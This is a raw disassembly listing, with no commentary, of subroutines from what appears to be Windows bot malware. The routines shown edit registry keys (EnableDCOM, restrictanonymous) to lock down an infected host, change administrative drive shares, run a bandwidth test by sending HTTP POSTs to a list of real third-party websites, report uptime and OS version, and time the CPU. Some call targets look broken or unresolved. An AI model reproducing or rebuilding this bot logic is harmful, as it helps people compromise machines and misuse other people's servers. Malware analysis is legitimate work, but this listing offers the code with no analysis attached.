loc_419FA4: ; CODE XREF: sub_419E79+E2j
push offset dword_439B38
jmp short loc_419FB0
; ---------------------------------------------------------------------------
loc_419FAB: ; CODE XREF: sub_419E79+13j
push offset dword_439B08
loc_419FB0: ; CODE XREF: sub_419E79+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBE: ; CODE XREF: sub_419E79+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419FDD: ; CODE XREF: sub_419E79+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
cmp dword_4CB06C, edi
pop ecx
jnz loc_41A158
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A000: ; CODE XREF: sub_419E79+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CAEB8
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A09D
cmp eax, 0EAh
jz short loc_41A09D
mov esi, offset off_4399D0
loc_41A031: ; CODE XREF: sub_419E79+21Dj
push dword ptr [esi]
push edi
call sub_418C6B
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A048
push offset dword_439AE4
jmp short loc_41A04D
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_419E79+1C6j
push offset dword_439AB8
loc_41A04D: ; CODE XREF: sub_419E79+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A080
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A080: ; CODE XREF: sub_419E79+1EBj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset dword_4399F0
jb short loc_41A031
jmp loc_41A135
; ---------------------------------------------------------------------------
loc_41A09D: ; CODE XREF: sub_419E79+1AAj
; sub_419E79+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A12C
loc_41A0AC: ; CODE XREF: sub_419E79+2AFj
mov edi, [esi]
push edi
call sub_41D817
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A121
push edi
call sub_418B58
push eax
push 0
call sub_418C6B
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A0DB
push offset dword_439A94
jmp short loc_41A0E0
; ---------------------------------------------------------------------------
loc_41A0DB: ; CODE XREF: sub_419E79+259j
push offset dword_439A68
loc_41A0E0: ; CODE XREF: sub_419E79+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A114
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A114: ; CODE XREF: sub_419E79+27Fj
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
loc_41A121: ; CODE XREF: sub_419E79+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A0AC
xor edi, edi
loc_41A12C: ; CODE XREF: sub_419E79+22Dj
push [ebp+var_8]
call dword_4CB004
loc_41A135: ; CODE XREF: sub_419E79+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A000
lea eax, [ebp+var_214]
push offset dword_439A40
push eax
call sub_41B886
pop ecx
pop ecx
pop ebx
jmp short loc_41A16B
; ---------------------------------------------------------------------------
loc_41A158: ; CODE XREF: sub_419E79+177j
lea eax, [ebp+var_214]
push offset dword_439A10
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A16B: ; CODE XREF: sub_419E79+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A189
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A189: ; CODE XREF: sub_419E79+2F5j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_419E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CB044, ebx
push esi
jnz loc_41A2CB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A228
mov ax, word_438768
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_41A20A
push offset dword_439DC0
jmp short loc_41A20F
; ---------------------------------------------------------------------------
loc_41A20A: ; CODE XREF: sub_41A19D+64j
push offset dword_439DA4
loc_41A20F: ; CODE XREF: sub_41A19D+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A23B
; ---------------------------------------------------------------------------
loc_41A228: ; CODE XREF: sub_41A19D+36j
lea eax, [ebp+var_220]
push offset dword_439BF8
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A23B: ; CODE XREF: sub_41A19D+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A25A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A25A: ; CODE XREF: sub_41A19D+A1j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_41A2C4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CAF98
test eax, eax
jz short loc_41A2A6
push offset dword_439D64
jmp short loc_41A2AB
; ---------------------------------------------------------------------------
loc_41A2A6: ; CODE XREF: sub_41A19D+100j
push offset dword_439D2C
loc_41A2AB: ; CODE XREF: sub_41A19D+107j
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_41A2DE
; ---------------------------------------------------------------------------
loc_41A2C4: ; CODE XREF: sub_41A19D+E2j
push offset dword_439CF0
jmp short loc_41A2D0
; ---------------------------------------------------------------------------
loc_41A2CB: ; CODE XREF: sub_41A19D+13j
push offset dword_439B08
loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A2DE: ; CODE XREF: sub_41A19D+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A2FD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A2FD: ; CODE XREF: sub_41A19D+144j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
cmp dword_4CB06C, ebx
pop ecx
jnz loc_41A472
push edi
mov esi, offset off_4399D0
mov edi, 200h
loc_41A321: ; CODE XREF: sub_41A19D+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_418BBF
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A33C
push offset dword_439CD0
jmp short loc_41A341
; ---------------------------------------------------------------------------
loc_41A33C: ; CODE XREF: sub_41A19D+196j
push offset dword_439CA8
loc_41A341: ; CODE XREF: sub_41A19D+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A370
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A370: ; CODE XREF: sub_41A19D+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
add esi, 8
pop ecx
cmp esi, offset off_4399E0
jb short loc_41A321
nop
call near ptr 2821B58h
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A45A
loc_41A39B: ; CODE XREF: sub_41A19D+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A44F
cmp bl, 41h
jz loc_41A44F
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_0 ; "%c:\\"
push 0Ah
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CAFD4
cmp eax, 3
jnz short loc_41A44F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418BBF
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A40D
push offset dword_439CD0
jmp short loc_41A412
; ---------------------------------------------------------------------------
loc_41A40D: ; CODE XREF: sub_41A19D+267j
push offset dword_439CA8
loc_41A412: ; CODE XREF: sub_41A19D+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B980
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A442
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A442: ; CODE XREF: sub_41A19D+289j
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
loc_41A44F: ; CODE XREF: sub_41A19D+206j
; sub_41A19D+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A39B
loc_41A45A: ; CODE XREF: sub_41A19D+1F8j
lea eax, [ebp+var_220]
push offset dword_439C78
push eax
call sub_41B886
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A485
; ---------------------------------------------------------------------------
loc_41A472: ; CODE XREF: sub_41A19D+173j
lea eax, [ebp+var_220]
push offset dword_439A10
push eax
call sub_41B886
pop ecx
pop ecx
loc_41A485: ; CODE XREF: sub_41A19D+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A4A3
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj
lea eax, [ebp+var_220]
push eax
call sub_4151AC
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A19D endp
; =============== S U B R O U T I N E =======================================
sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp
; sub_41A6AE+DDp ...
arg_0 = dword ptr 4
nop
call near ptr 2680CBAh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A4B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p
; sub_41A6AE+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A6AA
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B590
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AAF9
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A6AA
push 50h
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A6AA
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_41A6AA
push 32003h
call sub_41CFC5
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi
push eax
call sub_41B8D8
call sub_41B8E2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B590
push 32000h
push esi
push ebx
call sub_41B590
push ebx
call sub_41AFE0
push 323EAh
mov ebx, eax
call sub_41CFC5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41B886
push [ebp+var_8]
push esi
call sub_41BEC0
push offset asc_43381C ; "\r\n"
push esi
call sub_41BEC0
push esi
call sub_41AFE0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A62A
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A5FA
; ---------------------------------------------------------------------------
loc_41A5F7: ; CODE XREF: sub_41A4D1+157j
mov eax, [ebp+arg_0]
loc_41A5FA: ; CODE XREF: sub_41A4D1+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41A60A
push [ebp+var_C]
jmp short loc_41A60B
; ---------------------------------------------------------------------------
loc_41A60A: ; CODE XREF: sub_41A4D1+132j
push ebx
loc_41A60B: ; CODE XREF: sub_41A4D1+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_41A691
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A5F7
loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj
call edi
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_427714
fst [ebp+arg_0]
fcomp flt_427710
fnstsw ax
sahf
jnz short loc_41A652
fld1
fstp [ebp+arg_0]
loc_41A652: ; CODE XREF: sub_41A4D1+17Aj
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42770C
fmul flt_427708
call sub_41C798
loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A691: ; CODE XREF: sub_41A4D1+149j
push [ebp+var_4]
call dword_4CB00C
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
loc_41A6AA: ; CODE XREF: sub_41A4D1+19j
; sub_41A4D1+42j ...
xor eax, eax
jmp short loc_41A68C
sub_41A4D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
push 8
mov esi, eax
call sub_41A4B7
push [ebp+eax*4+var_3C]
call sub_41A4D1
add esp, 10h
test esi, esi
jz short loc_41A7AF
test eax, eax
jz short loc_41A7AB
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j
mov ebx, esi
jmp short loc_41A7B1
; ---------------------------------------------------------------------------
loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j
mov ebx, eax
loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj
; sub_41A6AE+FFj
push 0Ch
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
push 0Ch
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_6C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A7E9
test eax, eax
jz short loc_41A7E5
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej
mov esi, edi
jmp short loc_41A7EB
; ---------------------------------------------------------------------------
loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj
mov esi, eax
loc_41A7EB: ; CODE XREF: sub_41A6AE+135j
; sub_41A6AE+139j
push 6
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
push 6
mov edi, eax
call sub_41A4B7
push [ebp+eax*4+var_1C]
call sub_41A4D1
add esp, 10h
test edi, edi
jz short loc_41A823
test eax, eax
jz short loc_41A81F
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A81F: ; CODE XREF: sub_41A6AE+168j
mov ecx, edi
jmp short loc_41A825
; ---------------------------------------------------------------------------
loc_41A823: ; CODE XREF: sub_41A6AE+164j
mov ecx, eax
loc_41A825: ; CODE XREF: sub_41A6AE+16Fj
; sub_41A6AE+173j
xor eax, eax
test ebx, ebx
jz short loc_41A832
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41A835
; ---------------------------------------------------------------------------
loc_41A832: ; CODE XREF: sub_41A6AE+17Bj
push 2
pop edi
loc_41A835: ; CODE XREF: sub_41A6AE+182j
test esi, esi
jz short loc_41A83D
add eax, esi
jmp short loc_41A83E
; ---------------------------------------------------------------------------
loc_41A83D: ; CODE XREF: sub_41A6AE+189j
dec edi
loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj
test ecx, ecx
jz short loc_41A846
add eax, ecx
jmp short loc_41A847
; ---------------------------------------------------------------------------
loc_41A846: ; CODE XREF: sub_41A6AE+192j
dec edi
loc_41A847: ; CODE XREF: sub_41A6AE+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_439E18
push eax
call sub_41B886
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_26C]
push eax
call sub_4151AC
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41A6AE endp
; =============== S U B R O U T I N E =======================================
sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p
; sub_401ACD+2A10p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
nop
call near ptr 2680CBAh
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DB240
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41A88B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26C05A2h
test eax, eax
jz short loc_41A987
cmp [ebp+var_90], 4
jnz short loc_41A95D
cmp [ebp+var_8C], esi
jnz short loc_41A945
cmp [ebp+var_84], 1
jnz short loc_41A938
push 1
pop esi
loc_41A938: ; CODE XREF: sub_41A8F4+3Fj
cmp [ebp+var_84], 2
jnz short loc_41A987
push 1
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A945: ; CODE XREF: sub_41A8F4+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41A952
loc_41A94E: ; CODE XREF: sub_41A8F4+78j
push 2
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A952: ; CODE XREF: sub_41A8F4+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41A987
jmp short loc_41A977
; ---------------------------------------------------------------------------
loc_41A95D: ; CODE XREF: sub_41A8F4+2Ej
cmp [ebp+var_90], 5
jnz short loc_41A987
cmp [ebp+var_8C], esi
jz short loc_41A94E
cmp [ebp+var_8C], 1
jnz short loc_41A97B
loc_41A977: ; CODE XREF: sub_41A8F4+67j
push 3
jmp short loc_41A986
; ---------------------------------------------------------------------------
loc_41A97B: ; CODE XREF: sub_41A8F4+81j
cmp [ebp+var_8C], 2
jnz short loc_41A987
push 7
loc_41A986: ; CODE XREF: sub_41A8F4+4Fj
; sub_41A8F4+5Cj ...
pop esi
loc_41A987: ; CODE XREF: sub_41A8F4+25j
; sub_41A8F4+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41A8F4 endp
; =============== S U B R O U T I N E =======================================
sub_41A98C proc near ; CODE XREF: sub_41AA42+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41A994: ; CODE XREF: sub_41A98C+2Fj
; sub_41A98C+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
nop
call near ptr 26703BBh
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41D410
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41A994
jb short loc_41A9C3
cmp ebx, esi
ja short loc_41A994
loc_41A9C3: ; CODE XREF: sub_41A98C+31j
push 0
push 64h
push edi
push ebx
call sub_41D480
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AA36
jb short loc_41A9E2
cmp esi, 50h
jnb short loc_41A9E7
loc_41A9E2: ; CODE XREF: sub_41A98C+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41A9E7: ; CODE XREF: sub_41A98C+54j
test ecx, ecx
ja short loc_41AA36
jb short loc_41A9F2
cmp esi, 47h
jnb short loc_41A9F7
loc_41A9F2: ; CODE XREF: sub_41A98C+5Fj
push 42h
xor edx, edx
pop eax
loc_41A9F7: ; CODE XREF: sub_41A98C+64j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA02
cmp esi, 37h
jnb short loc_41AA07
loc_41AA02: ; CODE XREF: sub_41A98C+6Fj
push 32h
xor edx, edx
pop eax
loc_41AA07: ; CODE XREF: sub_41A98C+74j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA12
cmp esi, 26h
jnb short loc_41AA17
loc_41AA12: ; CODE XREF: sub_41A98C+7Fj
push 21h
xor edx, edx
pop eax
loc_41AA17: ; CODE XREF: sub_41A98C+84j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA22
cmp esi, 1Eh
jnb short loc_41AA27
loc_41AA22: ; CODE XREF: sub_41A98C+8Fj
push 19h
xor edx, edx
pop eax
loc_41AA27: ; CODE XREF: sub_41A98C+94j
test ecx, ecx
ja short loc_41AA36
jb short loc_41AA32
cmp esi, 0Ah
jnb short loc_41AA36
loc_41AA32: ; CODE XREF: sub_41A98C+9Fj
xor eax, eax
xor edx, edx
loc_41AA36: ; CODE XREF: sub_41A98C+4Dj
; sub_41A98C+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41A98C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA42 proc near ; CODE XREF: sub_401ACD+276Ep
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_43D128
mov [ebp+var_CC], 94h
call near ptr 26C05A2h
nop
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41AAC9
cmp [ebp+var_C4], ebx
jnz short loc_41AAA5
cmp [ebp+var_BC], 1
jnz short loc_41AA8F
mov [ebp+var_4], offset dword_43127C
loc_41AA8F: ; CODE XREF: sub_41AA42+44j
cmp [ebp+var_BC], 2
jnz loc_41AB44
mov [ebp+var_4], offset dword_431278
jmp short loc_41AB15
; ---------------------------------------------------------------------------
loc_41AAA5: ; CODE XREF: sub_41AA42+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41AAB7
mov [ebp+var_4], offset dword_431274
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAB7: ; CODE XREF: sub_41AA42+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41AB05
mov [ebp+var_4], offset dword_431270
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAC9: ; CODE XREF: sub_41AA42+33j
cmp [ebp+var_C8], 5
jnz short loc_41AB05
cmp [ebp+var_C4], ebx
jnz short loc_41AAE3
mov [ebp+var_4], offset dword_43126C
jmp short loc_41AB0C
; ---------------------------------------------------------------------------
loc_41AAE3: ; CODE XREF: sub_41AA42+96j
cmp [ebp+var_C4], 1
jnz short loc_41AAF5
